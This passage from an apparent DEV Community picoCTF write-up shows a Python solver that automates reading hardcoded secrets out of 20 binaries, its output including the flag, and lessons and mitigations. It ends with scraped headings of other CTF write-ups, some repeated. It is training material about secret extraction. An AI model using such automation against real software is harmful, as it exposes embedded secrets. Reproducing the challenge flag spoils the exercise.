                raw_bytes = bytes.fromhex(hex_val)
                secret = struct.unpack('<I', raw_bytes)[0]

                # --- STEP 5: Send the Answer ---
                answer = f'{secret}\n'
                s.sendall(answer.encode())
                print(f"[+] Round {i+1}/20: Found secret = {secret} | Sent!")

            else:
                # If the pattern isn't found, something unexpected happened.
                # Print the data for debugging.
                print(f"[!] Round {i+1}: Pattern 'c745fc' NOT FOUND!")
                print(f"    Raw data (last 200 chars): ...{data[-200:]}")
                break  # Stop, because continuing would be pointless.

        # --- STEP 6: Receive the Flag ---
        # After all 20 rounds, the server should send a congratulations
        # message containing the flag. We read generously.
        final_output = s.recv(4096).decode()
        print(f"\n{'='*50}")
        print(f"[*] SERVER RESPONSE:")
        print(final_output)
        print(f"{'='*50}")

    except Exception as e:
        print(f"[!] Error: {e}")

    finally:
        # Always close the socket cleanly.
        s.close()
        print("[*] Connection closed.")


# --- Entry Point ---
if __name__ == '__main__':
    solve()

3.3 — Execution Output

[*] Connected to mysterious-sea.picoctf.net:57369
[+] Round 1/20:  Found secret = 3406797415 | Sent!
[+] Round 2/20:  Found secret = 4233232755 | Sent!
[+] Round 3/20:  Found secret = 2312384779 | Sent!
[+] Round 4/20:  Found secret = 2250124380 | Sent!
[+] Round 5/20:  Found secret = 826731480  | Sent!
[+] Round 6/20:  Found secret = 1642351210 | Sent!
[+] Round 7/20:  Found secret = 3796822336 | Sent!
[+] Round 8/20:  Found secret = 2986324885 | Sent!
[+] Round 9/20:  Found secret = 2400094377 | Sent!
[+] Round 10/20: Found secret = 1885613138 | Sent!
[+] Round 11/20: Found secret = 1143096664 | Sent!
[+] Round 12/20: Found secret = 1757652120 | Sent!
[+] Round 13/20: Found secret = 3300608193 | Sent!
[+] Round 14/20: Found secret = 3072272321 | Sent!
[+] Round 15/20: Found secret = 1763129777 | Sent!
[+] Round 16/20: Found secret = 128687777  | Sent!
[+] Round 17/20: Found secret = 957976931  | Sent!
[+] Round 18/20: Found secret = 2093904350 | Sent!
[+] Round 19/20: Found secret = 2320907858 | Sent!
[+] Round 20/20: Found secret = 790478185  | Sent!

==================================================
[*] SERVER RESPONSE:
Correct!
Woah, how'd you do that??
Here's your flag: picoCTF{4u7o_r3v_g0_brrr_78c345aa}
==================================================
[*] Connection closed.

4. Privilege Escalation

Not applicable. This was a pure reverse engineering and scripting challenge. There was no shell to obtain and no system to escalate privileges on. The "escalation" here was conceptual: escalating from understanding one binary to automating the analysis of twenty.

5. Lessons Learned & Mitigation

5.1 — Key Takeaways for CTF Players

#	Lesson	Detail
1	Automation is a core RE skill.	The flag literally says it: `4u7o_r3v_g0_brrr`. Real-world malware analysis often involves triaging hundreds of samples. The ability to write scripts that extract Indicators of Compromise (IOCs) from binaries programmatically is invaluable.
2	Learn your opcodes.	You don't need to memorize every x86 instruction, but recognizing common patterns like `c7 45` (stack variable assignment) or `48 8d` (LEA) will dramatically speed up your analysis, even when using tools like Ghidra.
3	Little-Endian is not optional knowledge.	Almost every binary exploitation and reverse engineering challenge on x86 requires you to correctly handle Little-Endian byte order. Misunderstanding this is the #1 source of "off-by-everything" errors. Python's `struct` module is your best friend.
4	Start simple, then optimize.	We connected with `nc` first to understand the problem before writing a single line of Python. Resist the urge to start coding before you know what you're coding for.

5.2 — Blue Team / Mitigation Perspective

While this is a CTF game, the underlying concepts map to real-world scenarios:

Vulnerability	Real-World Parallel	Mitigation
Hardcoded secrets in binaries	API keys, passwords, or encryption keys compiled directly into client-side applications. Attackers routinely use tools like `strings`, `binwalk`, or custom scripts to extract them.	Never hardcode secrets. Use environment variables, secure vaults (e.g., HashiCorp Vault), or runtime configuration. If a secret must be in a binary, use obfuscation (though this only slows attackers, it doesn't stop them).
Predictable binary structure	Using the same code template across many builds makes automated analysis trivial (as we just demonstrated). This is relevant to malware families that share a common builder.	Introduce variability. If generating challenge binaries, randomize variable offsets (different stack layouts via compiler flags like `-fstack-protector`), use different registers, or add junk code to break simple pattern matching.

DEV Community: Vedant Kulkarni

CTF Lab Writeup: ABSOLUTE NANO

PicoCTF Challenge | Difficulty: Beginner-Intermediate | Category: Privilege Escalation

1. Executive Summary

2. Reconnaissance & Enumeration

2.1 Establishing the SSH Connection

2.2 Initial Directory Enumeration

2.3 Sudo Privilege Enumeration

3. Initial Foothold & Privilege Escalation

3.1 Opening the Sudoers File with Nano

3.2 Modifying the Sudoers File

3.3 Reading the Flag

4. Full Exploitation Chain (Visual Summary)

5. Lessons Learned & Mitigation

5.1 For the Attacker (Offensive Takeaways)

5.2 For the Defender (Blue Team Mitigations)

5.3 Key Conceptual Takeaways for Beginners

CTF Writeup: Corrupted File — picoCTF

My First Impression

Step 1 — Downloading the File

Step 2 — Peeking at the Header

A Quick Explanation of Magic Bytes

Step 3 — Fixing the Corruption

Step 4 — Verifying the Fix

Step 5 — Looking for Hidden Stuff

Step 6 — Getting the Flag

What I Learned From This

Quick Reference — Common Magic Bytes

Tools Used

CTF Lab Writeup: PowerAnalysis Part 2 (picoCTF)

1. Executive Summary

What Was This Challenge About?

2. Reconnaissance & Enumeration

2.1 Understanding What We Were Given

2.2 Inspecting the Trace Format

2.3 Verifying Data Integrity and Alignment

3. The Exploit: Correlation Power Analysis

3.1 The Conceptual Foundation — Why Does Hardware Leak Secrets?

3.2 The CPA Attack Strategy

3.3 The Attack Code — Full Breakdown

3.4 Results

3.5 The Roads Not Taken — What We Deliberately Avoided

4. "Privilege Escalation" — Scaling the Attack

Noise Mitigation Strategies (Ordered by Complexity)

5. Lessons Learned & Mitigation

5.1 Key Takeaways for Attackers (Blue Team Awareness)

5.2 Defensive Mitigations

5.3 Real-World Relevance

CTF Lab Writeup: Heap Havoc

1. Executive Summary

2. Reconnaissance & Enumeration

2.1 Understanding What We're Dealing With — file

2.2 Security Mitigations — checksec

2.3 Reading the Source Code — cat

2.4 Finding winner()'s Address — objdump

2.5 Finding puts@GOT — objdump -R

2.6 Mapping the Heap Layout — ltrace

3. Initial Foothold (Exploitation)

3.1 The Full Exploit Strategy

3.2 Local Test

3.3 Remote Exploitation

4. Privilege Escalation

5. Lessons Learned & Mitigation

5.1 Key Takeaways for the Attacker/Learner

5.2 Blue Team — How to Detect This

5.3 The Mental Model to Carry Forward

CTF Lab Writeup: "Bypass Me" — PicoCTF Binary Exploitation Challenge

1. Executive Summary

The Core Story

2. Reconnaissance & Enumeration

2.1 Establishing Access

Why SSH?

Breaking Down the Command

2.2 Initial File System Enumeration

2.3 Binary Profiling

Parsing Every Field

2.4 Runtime Behavior Observation

3. Initial Foothold — Static Reverse Engineering

3.1 Symbol Table Analysis

3.2 Disassembling decode_password

2.1 Understanding What We're Dealing With — `file`

2.2 Security Mitigations — `checksec`

2.3 Reading the Source Code — `cat`

2.4 Finding `winner()`'s Address — `objdump`

2.5 Finding `puts@GOT` — `objdump -R`

2.6 Mapping the Heap Layout — `ltrace`

3.2 Disassembling `decode_password`

3.4 Confirming the Authentication Flow in `main`